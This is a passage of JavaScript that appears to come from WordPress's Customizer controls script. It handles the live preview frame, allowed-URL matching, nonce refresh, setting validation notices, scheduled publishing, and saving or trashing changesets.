urlParser = document.createElement( 'a' ); urlParser.href = parsedCandidateUrls[0].href; urlParser.protocol = previewer.scheme.get() + ':'; parsedCandidateUrls.unshift( urlParser ); } // Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL. parsedAllowedUrl = document.createElement( 'a' ); _.find( parsedCandidateUrls, function( parsedCandidateUrl ) { return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) { parsedAllowedUrl.href = allowedUrl; if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) { result = parsedCandidateUrl.href; return true; } } ) ); } ); return result; }); previewer.bind( 'ready', previewer.ready ); // Start listening for keep-alive messages when iframe first loads. previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) ); previewer.bind( 'synced', function() { previewer.send( 'active' ); } ); // Refresh the preview when the URL is changed (but not yet). previewer.previewUrl.bind( previewer.refresh ); previewer.scroll = 0; previewer.bind( 'scroll', function( distance ) { previewer.scroll = distance; }); // Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh. previewer.bind( 'url', function( url ) { var onUrlChange, urlChanged = false; previewer.scroll = 0; onUrlChange = function() { urlChanged = true; }; previewer.previewUrl.bind( onUrlChange ); previewer.previewUrl.set( url ); previewer.previewUrl.unbind( onUrlChange ); if ( ! urlChanged ) { previewer.refresh(); } } ); // Update the document title when the preview changes. previewer.bind( 'documentTitle', function ( title ) { api.setDocumentTitle( title ); } ); }, /** * Handle the preview receiving the ready message. * * @since 4.7.0 * @access public * * @param {Object} data - Data from preview. * @param {string} data.currentUrl - Current URL. * @param {Object} data.activePanels - Active panels. * @param {Object} data.activeSections Active sections. * @param {Object} data.activeControls Active controls. * @return {void} */ ready: function( data ) { var previewer = this, synced = {}, constructs; synced.settings = api.get(); synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading; if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) { synced.scroll = previewer.scroll; } synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get(); previewer.send( 'sync', synced ); // Set the previewUrl without causing the url to set the iframe. if ( data.currentUrl ) { previewer.previewUrl.unbind( previewer.refresh ); previewer.previewUrl.set( data.currentUrl ); previewer.previewUrl.bind( previewer.refresh ); } /* * Walk over all panels, sections, and controls and set their * respective active states to true if the preview explicitly * indicates as such. */ constructs = { panel: data.activePanels, section: data.activeSections, control: data.activeControls }; _( constructs ).each( function ( activeConstructs, type ) { api[ type ].each( function ( construct, id ) { var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] ); /* * If the construct was created statically in PHP (not dynamically in JS) * then consider a missing (undefined) value in the activeConstructs to * mean it should be deactivated (since it is gone). But if it is * dynamically created then only toggle activation if the value is defined, * as this means that the construct was also then correspondingly * created statically in PHP and the active callback is available. * Otherwise, dynamically-created constructs should normally have * their active states toggled in JS rather than from PHP. */ if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) { if ( activeConstructs[ id ] ) { construct.activate(); } else { construct.deactivate(); } } } ); } ); if ( data.settingValidities ) { api._handleSettingValidities( { settingValidities: data.settingValidities, focusInvalidControl: false } ); } }, /** * Keep the preview alive by listening for ready and keep-alive messages. * * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL. * * @since 4.7.0 * @access public * * @return {void} */ keepPreviewAlive: function keepPreviewAlive() { var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck; /** * Schedule a preview keep-alive check. * * Note that if a page load takes longer than keepAliveCheck milliseconds, * the keep-alive messages will still be getting sent from the previous * URL. */ scheduleKeepAliveCheck = function() { timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck ); }; /** * Set the previewerAlive state to true when receiving a message from the preview. */ keepAliveTick = function() { api.state( 'previewerAlive' ).set( true ); clearTimeout( timeoutId ); scheduleKeepAliveCheck(); }; /** * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message. * * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage * transport to use refresh instead, causing the preview frame also to be replaced with the current * allowed preview URL. */ handleMissingKeepAlive = function() { api.state( 'previewerAlive' ).set( false ); }; scheduleKeepAliveCheck(); previewer.bind( 'ready', keepAliveTick ); previewer.bind( 'keep-alive', keepAliveTick ); }, /** * Query string data sent with each preview request. * * @abstract */ query: function() {}, abort: function() { if ( this.loading ) { this.loading.destroy(); delete this.loading; } }, /** * Refresh the preview seamlessly. * * @since 3.4.0 * @access public * * @return {void} */ refresh: function() { var previewer = this, onSettingChange; // Display loading indicator. previewer.send( 'loading-initiated' ); previewer.abort(); previewer.loading = new api.PreviewFrame({ url: previewer.url(), previewUrl: previewer.previewUrl(), query: previewer.query( { excludeCustomizedSaved: true } ) || {}, container: previewer.container }); previewer.settingsModifiedWhileLoading = {}; onSettingChange = function( setting ) { previewer.settingsModifiedWhileLoading[ setting.id ] = true; }; api.bind( 'change', onSettingChange ); previewer.loading.always( function() { api.unbind( 'change', onSettingChange ); } ); previewer.loading.done( function( readyData ) { var loadingFrame = this, onceSynced; previewer.preview = loadingFrame; previewer.targetWindow( loadingFrame.targetWindow() ); previewer.channel( loadingFrame.channel() ); onceSynced = function() { loadingFrame.unbind( 'synced', onceSynced ); if ( previewer._previousPreview ) { previewer._previousPreview.destroy(); } previewer._previousPreview = previewer.preview; previewer.deferred.active.resolve(); delete previewer.loading; }; loadingFrame.bind( 'synced', onceSynced ); // This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh. previewer.trigger( 'ready', readyData ); }); previewer.loading.fail( function( reason ) { previewer.send( 'loading-failed' ); if ( 'logged out' === reason ) { if ( previewer.preview ) { previewer.preview.destroy(); delete previewer.preview; } previewer.login().done( previewer.refresh ); } if ( 'cheatin' === reason ) { previewer.cheatin(); } }); }, login: function() { var previewer = this, deferred, messenger, iframe; if ( this._login ) { return this._login; } deferred = $.Deferred(); this._login = deferred.promise(); messenger = new api.Messenger({ channel: 'login', url: api.settings.url.login }); iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container ); messenger.targetWindow( iframe[0].contentWindow ); messenger.bind( 'login', function () { var refreshNonces = previewer.refreshNonces(); refreshNonces.always( function() { iframe.remove(); messenger.destroy(); delete previewer._login; }); refreshNonces.done( function() { deferred.resolve(); }); refreshNonces.fail( function() { previewer.cheatin(); deferred.reject(); }); }); return this._login; }, cheatin: function() { $( document.body ).empty().addClass( 'cheatin' ).append( '<h1>' + api.l10n.notAllowedHeading + '</h1>' + '<p>' + api.l10n.notAllowed + '</p>' ); }, refreshNonces: function() { var request, deferred = $.Deferred(); deferred.promise(); request = wp.ajax.post( 'customize_refresh_nonces', { wp_customize: 'on', customize_theme: api.settings.theme.stylesheet }); request.done( function( response ) { api.trigger( 'nonce-refresh', response ); deferred.resolve(); }); request.fail( function() { deferred.reject(); }); return deferred; } }); api.settingConstructor = {}; api.controlConstructor = { color: api.ColorControl, media: api.MediaControl, upload: api.UploadControl, image: api.ImageControl, cropped_image: api.CroppedImageControl, site_icon: api.SiteIconControl, header: api.HeaderControl, background: api.BackgroundControl, background_position: api.BackgroundPositionControl, theme: api.ThemeControl, date_time: api.DateTimeControl, code_editor: api.CodeEditorControl }; api.panelConstructor = { themes: api.ThemesPanel }; api.sectionConstructor = { themes: api.ThemesSection, outer: api.OuterSection }; /** * Handle setting_validities in an error response for the customize-save request. * * Add notifications to the settings and focus on the first control that has an invalid setting. * * @alias wp.customize._handleSettingValidities * * @since 4.6.0 * @private * * @param {Object} args * @param {Object} args.settingValidities * @param {boolean} [args.focusInvalidControl=false] * @return {void} */ api._handleSettingValidities = function handleSettingValidities( args ) { var invalidSettingControls, invalidSettings = [], wasFocused = false; // Find the controls that correspond to each invalid setting. _.each( args.settingValidities, function( validity, settingId ) { var setting = api( settingId ); if ( setting ) { // Add notifications for invalidities. if ( _.isObject( validity ) ) { _.each( validity, function( params, code ) { var notification, existingNotification, needsReplacement = false; notification = new api.Notification( code, _.extend( { fromServer: true }, params ) ); // Remove existing notification if already exists for code but differs in parameters. existingNotification = setting.notifications( notification.code ); if ( existingNotification ) { needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data ); } if ( needsReplacement ) { setting.notifications.remove( code ); } if ( ! setting.notifications.has( notification.code ) ) { setting.notifications.add( notification ); } invalidSettings.push( setting.id ); } ); } // Remove notification errors that are no longer valid. setting.notifications.each( function( notification ) { if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) { setting.notifications.remove( notification.code ); } } ); } } ); if ( args.focusInvalidControl ) { invalidSettingControls = api.findControlsForSettings( invalidSettings ); // Focus on the first control that is inside of an expanded section (one that is visible). _( _.values( invalidSettingControls ) ).find( function( controls ) { return _( controls ).find( function( control ) { var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded(); if ( isExpanded && control.expanded ) { isExpanded = control.expanded(); } if ( isExpanded ) { control.focus(); wasFocused = true; } return wasFocused; } ); } ); // Focus on the first invalid control. if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) { _.values( invalidSettingControls )[0][0].focus(); } } }; /** * Find all controls associated with the given settings. * * @alias wp.customize.findControlsForSettings * * @since 4.6.0 * @param {string[]} settingIds Setting IDs. * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls. */ api.findControlsForSettings = function findControlsForSettings( settingIds ) { var controls = {}, settingControls; _.each( _.unique( settingIds ), function( settingId ) { var setting = api( settingId ); if ( setting ) { settingControls = setting.findControls(); if ( settingControls && settingControls.length > 0 ) { controls[ settingId ] = settingControls; } } } ); return controls; }; /** * Sort panels, sections, controls by priorities. Hide empty sections and panels. * * @alias wp.customize.reflowPaneContents * * @since 4.1.0 */ api.reflowPaneContents = _.bind( function () { var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false; if ( document.activeElement ) { activeElement = $( document.activeElement ); } // Sort the sections within each panel. api.panel.each( function ( panel ) { if ( 'themes' === panel.id ) { return; // Don't reflow theme sections, as doing so moves them after the themes container. } var sections = panel.sections(), sectionHeadContainers = _.pluck( sections, 'headContainer' ); rootNodes.push( panel ); appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' ); if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) { _( sections ).each( function ( section ) { appendContainer.append( section.headContainer ); } ); wasReflowed = true; } } ); // Sort the controls within each section. api.section.each( function ( section ) { var controls = section.controls(), controlContainers = _.pluck( controls, 'container' ); if ( ! section.panel() ) { rootNodes.push( section ); } appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' ); if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) { _( controls ).each( function ( control ) { appendContainer.append( control.container ); } ); wasReflowed = true; } } ); // Sort the root panels and sections. rootNodes.sort( api.utils.prioritySort ); rootHeadContainers = _.pluck( rootNodes, 'headContainer' ); appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable. if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) { _( rootNodes ).each( function ( rootNode ) { appendContainer.append( rootNode.headContainer ); } ); wasReflowed = true; } // Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered. api.panel.each( function ( panel ) { var value = panel.active(); panel.active.callbacks.fireWith( panel.active, [ value, value ] ); } ); api.section.each( function ( section ) { var value = section.active(); section.active.callbacks.fireWith( section.active, [ value, value ] ); } ); // Restore focus if there was a reflow and there was an active (focused) element. if ( wasReflowed && activeElement ) { activeElement.trigger( 'focus' ); } api.trigger( 'pane-contents-reflowed' ); }, api ); // Define state values. api.state = new api.Values(); _.each( [ 'saved', 'saving', 'trashing', 'activated', 'processing', 'paneVisible', 'expandedPanel', 'expandedSection', 'changesetDate', 'selectedChangesetDate', 'changesetStatus', 'selectedChangesetStatus', 'remainingTimeToPublish', 'previewerAlive', 'editShortcutVisibility', 'changesetLocked', 'previewedDevice' ], function( name ) { api.state.create( name ); }); $( function() { api.settings = window._wpCustomizeSettings; api.l10n = window._wpCustomizeControlsL10n; // Check if we can run the Customizer. if ( ! api.settings ) { return; } // Bail if any incompatibilities are found. if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) { return; } if ( null === api.PreviewFrame.prototype.sensitivity ) { api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity; } if ( null === api.Previewer.prototype.refreshBuffer ) { api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh; } var parent, body = $( document.body ), overlay = body.children( '.wp-full-overlay' ), title = $( '#customize-info .panel-title.site-title' ), closeBtn = $( '.customize-controls-close' ), saveBtn = $( '#save' ), btnWrapper = $( '#customize-save-button-wrapper' ), publishSettingsBtn = $( '#publish-settings' ), footerActions = $( '#customize-footer-actions' ); // Add publish settings section in JS instead of PHP since the Customizer depends on it to function. api.bind( 'ready', function() { api.section.add( new api.OuterSection( 'publish_settings', { title: api.l10n.publishSettings, priority: 0, active: api.settings.theme.active } ) ); } ); // Set up publish settings section and its controls. api.section( 'publish_settings', function( section ) { var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000; trashControl = new api.Control( 'trash_changeset', { type: 'button', section: section.id, priority: 30, input_attrs: { 'class': 'button-link button-link-delete', value: api.l10n.discardChanges } } ); api.control.add( trashControl ); trashControl.deferred.embedded.done( function() { trashControl.container.find( '.button-link' ).on( 'click', function() { if ( confirm( api.l10n.trashConfirm ) ) { wp.customize.previewer.trash(); } } ); } ); api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', { section: section.id, priority: 100 } ) ); /** * Return whether the publish settings section should be active. * * @return {boolean} Is section active. */ isSectionActive = function() { if ( ! api.state( 'activated' ).get() ) { return false; } if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) { return false; } if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) { return false; } return true; }; // Make sure publish settings are not available while the theme is not active and the customizer is in a published state. section.active.validate = isSectionActive; updateSectionActive = function() { section.active.set( isSectionActive() ); }; api.state( 'activated' ).bind( updateSectionActive ); api.state( 'trashing' ).bind( updateSectionActive ); api.state( 'saved' ).bind( updateSectionActive ); api.state( 'changesetStatus' ).bind( updateSectionActive ); updateSectionActive(); // Bind visibility of the publish settings button to whether the section is active. updateButtonsState = function() { publishSettingsBtn.toggle( section.active.get() ); saveBtn.toggleClass( 'has-next-sibling', section.active.get() ); }; updateButtonsState(); section.active.bind( updateButtonsState ); function highlightScheduleButton() { if ( ! cancelScheduleButtonReminder ) { cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, { delay: 1000, /* * Only abort the reminder when the save button is focused. * If the user clicks the settings button to toggle the * settings closed, we'll still remind them. */ focusTarget: saveBtn } ); } } function cancelHighlightScheduleButton() { if ( cancelScheduleButtonReminder ) { cancelScheduleButtonReminder(); cancelScheduleButtonReminder = null; } } api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton ); section.contentContainer.find( '.customize-action' ).text( api.l10n.updating ); section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' ); publishSettingsBtn.prop( 'disabled', false ); publishSettingsBtn.on( 'click', function( event ) { event.preventDefault(); section.expanded.set( ! section.expanded.get() ); } ); section.expanded.bind( function( isExpanded ) { var defaultChangesetStatus; publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) ); publishSettingsBtn.toggleClass( 'active', isExpanded ); if ( isExpanded ) { cancelHighlightScheduleButton(); return; } defaultChangesetStatus = api.state( 'changesetStatus' ).get(); if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) { defaultChangesetStatus = 'publish'; } if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) { highlightScheduleButton(); } else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) { highlightScheduleButton(); } } ); statusControl = new api.Control( 'changeset_status', { priority: 10, type: 'radio', section: 'publish_settings', setting: api.state( 'selectedChangesetStatus' ), templateId: 'customize-selected-changeset-status-control', label: api.l10n.action, choices: api.settings.changeset.statusChoices } ); api.control.add( statusControl ); dateControl = new api.DateTimeControl( 'changeset_scheduled_date', { priority: 20, section: 'publish_settings', setting: api.state( 'selectedChangesetDate' ), minYear: ( new Date() ).getFullYear(), allowPastDate: false, includeTime: true, twelveHourFormat: /a/i.test( api.settings.timeFormat ), description: api.l10n.scheduleDescription } ); dateControl.notifications.alt = true; api.control.add( dateControl ); publishWhenTime = function() { api.state( 'selectedChangesetStatus' ).set( 'publish' ); api.previewer.save(); }; // Start countdown for when the dateTime arrives, or clear interval when it is . updateTimeArrivedPoller = function() { var shouldPoll = ( 'future' === api.state( 'changesetStatus' ).get() && 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'changesetDate' ).get() && api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() && api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0 ); if ( shouldPoll && ! pollInterval ) { pollInterval = setInterval( function() { var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ); api.state( 'remainingTimeToPublish' ).set( remainingTime ); if ( remainingTime <= 0 ) { clearInterval( pollInterval ); pollInterval = 0; publishWhenTime(); } }, timeArrivedPollingInterval ); } else if ( ! shouldPoll && pollInterval ) { clearInterval( pollInterval ); pollInterval = 0; } }; api.state( 'changesetDate' ).bind( updateTimeArrivedPoller ); api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller ); api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller ); api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller ); updateTimeArrivedPoller(); // Ensure dateControl only appears when selected status is future. dateControl.active.validate = function() { return 'future' === api.state( 'selectedChangesetStatus' ).get(); }; toggleDateControl = function( value ) { dateControl.active.set( 'future' === value ); }; toggleDateControl( api.state( 'selectedChangesetStatus' ).get() ); api.state( 'selectedChangesetStatus' ).bind( toggleDateControl ); // Show notification on date control when status is future but it isn't a future date. api.state( 'saving' ).bind( function( isSaving ) { if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) { dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() ); } } ); } ); // Prevent the form from saving when enter is pressed on an input or select element. $('#customize-controls').on( 'keydown', function( e ) { var isEnter = ( 13 === e.which ), $el = $( e.target ); if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) { e.preventDefault(); } }); // Expand/Collapse the main customizer customize info. $( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() { var section = $( this ).closest( '.accordion-section' ), content = section.find( '.customize-panel-description:first' ); if ( section.hasClass( 'cannot-expand' ) ) { return; } if ( section.hasClass( 'open' ) ) { section.toggleClass( 'open' ); content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() { content.trigger( 'toggled' ); } ); $( this ).attr( 'aria-expanded', false ); } else { content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() { content.trigger( 'toggled' ); } ); section.toggleClass( 'open' ); $( this ).attr( 'aria-expanded', true ); } }); /** * Initialize Previewer * * @alias wp.customize.previewer */ api.previewer = new api.Previewer({ container: '#customize-preview', form: '#customize-controls', previewUrl: api.settings.url.preview, allowedUrls: api.settings.url.allowed },/** @lends wp.customize.previewer */{ nonce: api.settings.nonce, /** * Build the query to send along with the Preview request. * * @since 3.4.0 * @since 4.7.0 Added options param. * @access public * * @param {Object} [options] Options. * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset). * @return {Object} Query vars. */ query: function( options ) { var queryVars = { wp_customize: 'on', customize_theme: api.settings.theme.stylesheet, nonce: this.nonce.preview, customize_changeset_uuid: api.settings.changeset.uuid }; if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) { queryVars.customize_autosaved = 'on'; } /* * Exclude customized data if requested especially for calls to requestChangesetUpdate. * Changeset updates are differential and so it is a performance waste to send all of * the dirty settings with each update. */ queryVars.customized = JSON.stringify( api.dirtyValues( { unsaved: options && options.excludeCustomizedSaved } ) ); return queryVars; }, /** * Save (and publish) the customizer changeset. * * Updates to the changeset are transactional. If any of the settings * are invalid then none of them will be written into the changeset. * A revision will be made for the changeset post if revisions support * has been added to the post type. * * @since 3.4.0 * @since 4.7.0 Added args param and return value. * * @param {Object} [args] Args. * @param {string} [args.status=publish] Status. * @param {string} [args.date] Date, in local time in MySQL format. * @param {string} [args.title] Title * @return {jQuery.promise} Promise. */ save: function( args ) { var previewer = this, deferred = $.Deferred(), changesetStatus = api.state( 'selectedChangesetStatus' ).get(), selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(), processing = api.state( 'processing' ), submitWhenDoneProcessing, submit, modifiedWhileSaving = {}, invalidSettings = [], invalidControls = [], invalidSettingLessControls = []; if ( args && args.status ) { changesetStatus = args.status; } if ( api.state( 'saving' ).get() ) { deferred.reject( 'already_saving' ); deferred.promise(); } api.state( 'saving' ).set( true ); function captureSettingModifiedDuringSave( setting ) { modifiedWhileSaving[ setting.id ] = true; } submit = function () { var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error'; api.bind( 'change', captureSettingModifiedDuringSave ); api.notifications.remove( errorCode ); /* * Block saving if there are any settings that are marked as * invalid from the client (not from the server). Focus on * the control. */ api.each( function( setting ) { setting.notifications.each( function( notification ) { if ( 'error' === notification.type && ! notification.fromServer ) { invalidSettings.push( setting.id ); if ( ! settingInvalidities[ setting.id ] ) { settingInvalidities[ setting.id ] = {}; } settingInvalidities[ setting.id ][ notification.code ] = notification; } } ); } ); // Find all invalid setting less controls with notification type error. api.control.each( function( control ) { if ( ! control.setting || ! control.setting.id && control.active.get() ) { control.notifications.each( function( notification ) { if ( 'error' === notification.type ) { invalidSettingLessControls.push( [ control ] ); } } ); } } ); invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) ); if ( ! _.isEmpty( invalidControls ) ) { invalidControls[0][0].focus(); api.unbind( 'change', captureSettingModifiedDuringSave ); if ( invalidSettings.length ) { api.notifications.add( new api.Notification( errorCode, { message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ), type: 'error', dismissible: true, saveFailure: true } ) ); } deferred.rejectWith( previewer, [ { setting_invalidities: settingInvalidities } ] ); api.state( 'saving' ).set( false ); return deferred.promise(); } /* * Note that excludeCustomizedSaved is intentionally false so that the entire * set of customized data will be included if bypassed changeset update. */ query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), { nonce: previewer.nonce.save, customize_changeset_status: changesetStatus } ); if ( args && args.date ) { query.customize_changeset_date = args.date; } else if ( 'future' === changesetStatus && selectedChangesetDate ) { query.customize_changeset_date = selectedChangesetDate; } if ( args && args.title ) { query.customize_changeset_title = args.title; } // Allow plugins to modify the params included with the save request. api.trigger( 'save-request-params', query ); /* * Note that the dirty customized values will have already been set in the * changeset and so technically query.customized could be deleted. However, * it is remaining here to make sure that any settings that got updated * quietly which may have not triggered an update request will also get * included in the values that get saved to the changeset. This will ensure * that values that get injected via the saved event will be included in * the changeset. This also ensures that setting values that were invalid * will get re-validated, perhaps in the case of settings that are invalid * due to dependencies on other settings. */ request = wp.ajax.post( 'customize_save', query ); api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 ); api.trigger( 'save', request ); request.always( function () { api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 ); api.state( 'saving' ).set( false ); api.unbind( 'change', captureSettingModifiedDuringSave ); } ); // Remove notifications that were added due to save failures. api.notifications.each( function( notification ) { if ( notification.saveFailure ) { api.notifications.remove( notification.code ); } }); request.fail( function ( response ) { var notification, notificationArgs; notificationArgs = { type: 'error', dismissible: true, fromServer: true, saveFailure: true }; if ( '0' === response ) { response = 'not_logged_in'; } else if ( '-1' === response ) { // Back-compat in case any other check_ajax_referer() call is dying. response = 'invalid_nonce'; } if ( 'invalid_nonce' === response ) { previewer.cheatin(); } else if ( 'not_logged_in' === response ) { previewer.preview.iframe.hide(); previewer.login().done( function() { previewer.save(); previewer.preview.iframe.show(); } ); } else if ( response.code ) { if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) { api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus(); } else if ( 'changeset_locked' !== response.code ) { notification = new api.Notification( response.code, _.extend( notificationArgs, { message: response.message } ) ); } } else { notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, { message: api.l10n.unknownRequestFail } ) ); } if ( notification ) { api.notifications.add( notification ); } if ( response.setting_validities ) { api._handleSettingValidities( { settingValidities: response.setting_validities, focusInvalidControl: true } ); } deferred.rejectWith( previewer, [ response ] ); api.trigger( 'error', response ); // Start a new changeset if the underlying changeset was published. if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) { api.settings.changeset.uuid = response.next_changeset_uuid; api.state( 'changesetStatus' ).set( '' ); if ( api.settings.changeset.branching ) { parent.send( 'changeset-uuid', api.settings.changeset.uuid ); } api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid ); } } ); request.done( function( response ) { previewer.send( 'saved', response ); api.state( 'changesetStatus' ).set( response.changeset_status ); if ( response.changeset_date ) { api.state( 'changesetDate' ).set( response.changeset_date ); } if ( 'publish' === response.changeset_status ) { // Mark all published as clean if they haven't been modified during the request. api.each( function( setting ) { /* * Note that the setting revision will be undefined in the case of setting * values that are marked as dirty when the customizer is loaded, such as * when applying starter content. All other dirty settings will have an * associated revision due to their modification triggering a change event. */ if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) { setting._dirty = false; } } ); api.state( 'changesetStatus' ).set( '' ); api.settings.changeset.uuid = response.next_changeset_uuid; if ( api.settings.changeset.branching ) { parent.send( 'changeset-uuid', api.settings.changeset.uuid ); } } // Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved. api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision ); if ( response.setting_validities ) { api._handleSettingValidities( { settingValidities: response.setting_validities, focusInvalidControl: true } ); } deferred.resolveWith( previewer, [ response ] ); api.trigger( 'saved', response ); // Restore the global dirty state if any settings were modified during save. if ( ! _.isEmpty( modifiedWhileSaving ) ) { api.state( 'saved' ).set( false ); } } ); }; if ( 0 === processing() ) { submit(); } else { submitWhenDoneProcessing = function () { if ( 0 === processing() ) { api.state.unbind( 'change', submitWhenDoneProcessing ); submit(); } }; api.state.bind( 'change', submitWhenDoneProcessing ); } return deferred.promise(); }, /** * Trash the current changes. * * Revert the Customizer to its previously-published state. * * @since 4.9.0 * * @return {jQuery.promise} Promise. */ trash: function trash() { var request, success, fail; api.state( 'trashing' ).set( true ); api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 ); request = wp.ajax.post( 'customize_trash', { customize_changeset_uuid: api.settings.changeset.uuid, nonce: api.settings.nonce.trash } ); api.notifications.add( new api.OverlayNotification( 'changeset_trashing', { type: 'info', message: api.l10n.revertingChanges, loading: true } ) ); success = function() { var urlParser = document.createElement( 'a' ), queryParams; api.state( 'changesetStatus' ).set( 'trash' ); api.each( function( setting ) { setting._dirty = false; } ); api.state( 'saved' ).set( true ); // Go back to Customizer without changeset. urlParser.href = location.href; queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); delete queryParams.changeset_uuid; queryParams['return'] = api.settings.url['return']; urlParser.search = $.param( queryParams ); location.replace( urlParser.href ); }; fail = function( code, message ) { var notificationCode = code || 'unknown_error'; api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 ); api.state( 'trashing' ).set( false ); api.notifications.remove( 'changeset_trashing' ); api.notifications.add( new api.Notification( notificationCode, { message: message || api.l10n.unknownError, dismissible: true, type: 'error' } ) ); }; request.done( function( response ) { success( response.message ); } ); request.fail( function( response ) { var code = response.code || 'trashing_failed'; if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) { success( response.message ); } else { fail( code, response.message ); } } ); }, /** * Builds the front preview URL with the current state of customizer. * * @since 4.9.0 * * @return {string} Preview URL. */ getFrontendPreviewUrl: function() { var previewer = this, params, urlParser; urlParser = document.createElement( 'a' ); urlParser.href = previewer.previewUrl.get(); params = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) { params.customize_changeset_uuid = api.settings.changeset.uuid; } if ( ! api.state( 'activated' ).get() ) { params.customize_theme = api.settings.theme.stylesheet; } urlParser.search = $.param( params ); return urlParser.href; } }); // Ensure preview nonce is included with every customized request, to allow post data to be read. $.ajaxPrefilter( function injectPreviewNonce( options ) { if ( ! /wp_customize=on/.test( options.data ) ) { return; } options.data += '&' + $.param({ customize_preview_nonce: api.settings.nonce.preview }); }); // Refresh the nonces if the preview sends updated nonces over. 